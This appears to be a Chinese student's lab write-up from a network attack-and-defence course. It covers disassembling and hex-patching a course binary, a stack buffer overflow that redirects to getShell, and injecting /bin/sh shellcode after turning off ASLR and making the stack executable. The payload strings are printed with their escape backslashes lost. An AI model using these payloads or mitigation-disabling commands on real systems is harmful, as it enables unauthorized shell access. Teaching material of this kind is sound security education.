zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175325石淦铭《网络对抗技术》Exp1 PC平台逆向破解

    2019-2020-2 20175325石淦铭《网络对抗技术》Exp1 PC平台逆向破解


    目录:

    • 基础知识
    • 实验内容
    • 遇到的问题以及解决方法
    • 实验感想

    基础知识

    1、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    • 通过反汇编指令objdump -d pwn20175325 查看可执行文件pwn20175325 的反汇编代码和对应的机器码,可知道:NOP汇编指令的机器码是“90”,JNE汇编指令的机器码是“75”,JE 汇编指令的机器码是“74”,JMP汇编指令的机器码是“eb”,CMP汇编指令的机器码是“39”
      具体解释如下:
    • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
    • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
    • JE:条件转移指令,如果相等则跳转。(机器码:74)
    • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
    • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    2、掌握反汇编与十六进制编程器

    • 反汇编指令是objdump -d xxx
    • 如果想要以全屏幕的方式按页显示反汇编的内容,可以在反汇编指令后添加| more
    • 十六进制编程器:是用来以16进制视图进行文本编辑的编辑工具软件功能。
    • 具体步骤如下:
      ① 输入命令vi 20175325sgm查看可执行文件内容,发现大部分是我们没法理解的乱码;
      ② 按esc后输入:%!xxd将显示模式切换为16进制模式;
      ③ 进行相关操作后,输入:%!xxd -r 转换16进制为原格式。

    实验内容

    一、直接修改程序机器指令,改变程序执行流程

    1、从老师码云中下载pwn1.zip进行解压,并将pwn1文件备份 cp pwn1 pwn20175325

    2、通过objdump -d pwn20175325对文件进行反汇编,并且可以观察到:
    getShell函数的地址是804847d,foo函数的地址是8048491,可以发现两地址之差为十六进制“14”,在main函数中call后面地址为8048491 即调用了foo函数

    3、使用vi pwn20175325进入打开文件

    4、在vi内,使用esc:%!xxd将显示模式切换为16进制模式

    5、查找要修改的内容:/d7

    6、修改d7为c3(d7-14=c3)

    7、转换16进制为原格式:%!xxd -r,并用:wq存盘退出vi
    8、再反汇编看一下,很明显call指令正确调用getShell。

    二、通过构造输入参数,造成BOF攻击,改变程序执行流

    1、分析代码,发现foo函数存在Buffer overflow漏洞
    2、、进入gdb使用指令gdb pwn20175325然后r输入1111111122222222333333334444444455555555info r观察寄存器中数值寻找关系:
    发现eip寄存器中的值为0x35353535,因为在ASCII中30为0,所以35代表的是5,由此猜测最后八个5中某四个5决定了寄存器中的值,为了准确找出是哪四个数字,于是我们把8个5换成12345678

    3、由于1234 那四个数最终会覆盖到堆栈上的返回地址,并且由之前的截图可以看到getshell的内存地址为0804847d,所以我们要用getshell的地址0x0804847d替换它;所以应将其反着输入放在11111111222222223333333344444444的后面,即11111111222222223333333344444444x7dx84x04x08。(因为十六进制的缘故添加x)

    4、输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input将字符串用perl脚本语言写入input文件;
    5、用xxd input以16进制显示input文件,检查写入地址的正误;
    6.确认无误后用(cat input;cat) | ./pwn20175325来将改字符串作为可执行文件的输入。

    三、注入Shellcode并执行

    • Shellcode实际是一段代码,是用来发送到服务器利用特定漏洞的代码,Shellcode是溢出程序和蠕虫病毒的核心,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器,由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。
    • 构造要注入的payload有两种方法:
      (1)nop+shellcode+retaddr(适用于缓冲区大的情况)
      (2)retaddr+nop+shellcode(适用于缓冲区小的情况)
      简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。
    • 实验步骤:
      1、使用指令apt-get install execstack安装execstack

    2、输入以下代码:

    root@kali:/home/sgm20175325/20175325/pwn1# execstack -s pwn1    //设置堆栈可执行
    root@kali:/home/sgm20175325/20175325/pwn1# execstack -q pwn1    //查询文件的堆栈是否可执行
    X 
    root@kali:/home/sgm20175325/20175325/pwn1# more /proc/sys/kernel/randomize_va_space 
    2
    root@kali:/home/sgm20175325/20175325/pwn1# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    root@kali:/home/sgm20175325/20175325/pwn1# more /proc/sys/kernel/randomize_va_space 
    0
    

    3、采用第二种构造要注入的payload的方法:retaddr+nop+shellcode,使用命令perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。

    4、打开两个终端,其中一个终端输入(cat input_shellcode;cat) | ./pwn1攻击buf,令一个终端输入ps -ef | grep pwn1 查看pwn1的进程号:2689

    5、gdb中首先(gdb) disassemble foo设置断点来查看注入buf的内存地址。然后(gdb) break *0x080484ae(此处的断点地址应为返回值ret的地址)并在此时在另一个终端内按下回车。然后continue继续gdb。

    6、用gdb调试程序;使用(gdb) info r esp指令来查看寄存器的值(gdb) x/16x 0xffffd3fc 以16进制查看esp寄存器地址开头的内存中的值,看到 1020304了,就是返回地址的位置,shellcode地址是 0xffffd2f0。

    7、所以修改地址为perl -e 'print "xf0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode接着使用xxd input_shellcode指令来查看转换进制内容,并使用指令(cat input_shellcode;cat) | ./pwn1来查看验证实验结果,至此,完成了构造payload进行bof攻击。

    遇到的问题以及解决方法

    问题:在编译pwn1时,出现以下问题

    解决方法:

    1、用su切换到root用户,由于之前没有设置密码,所以首先在命令行下敲:sudo passwd root ,设置输入新密码,并确认新密码。

    2、用文本编辑器打开source.list : leafpad /etc/apt/sources.list
    3、添加下列更新源:

    4、对软件进行一次整体更新:
    apt-get clean
    apt-get update
    apt-get upgrade

    并安装32位运行库:apt-get install lib32ncurses5

    实验感想

    • 什么是漏洞?漏洞有什么危害?
    • 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。并且这次实验就是利用缓冲区溢出漏洞,由于没有考虑到输入超出栈分配的空间的情况,被攻击者利用造成的。
    • 系统漏洞经常被不法者或黑客用于向电脑强制安装恶意程序、传播病毒以及植入木马,统漏洞容易导致电脑重要的数据和信息被窃取,严重者会导致操作系统被破坏,电脑数据全部丢失,并且在局域网环境中,还会造成病毒的传播,导致其他电脑瘫痪,危害极大。
    • 实验收获与感想
      通过这次实验,掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码的理论知识和一些具体的数值,并且还学习了反汇编指令,在出现乱码时,可以用十六进制编程器进行转化,通过实验自己动手实现缓冲区溢出攻击,通过修改栈所存储的指令地址,使跳转到想运行的指令,理解了堆栈是如何被恶意代码覆盖的,覆盖后是怎么实现跳转执行的,
      对缓冲区溢出也有了更深的理解。
  • 相关阅读:
    什么是shell
    shell种类
    centos7 安装JAVA (JDK 1.8) 并配置环境变量
    netcore liunx docker修改默认的Datetime format
    centos 7 安装 mysql 8.0.18
    centos 解决 mysql command not found
    centos 7 + Net Core 3.0 + Docker 配置说明(不含https)
    centos 7 安装golang1.13.5
    centos 7 安装git并配置ssh
    阿里云服务器 centos 7 安装postgresql 11
  • 原文地址:https://www.cnblogs.com/sgm5/p/12467744.html
Copyright © 2011-2022 走看看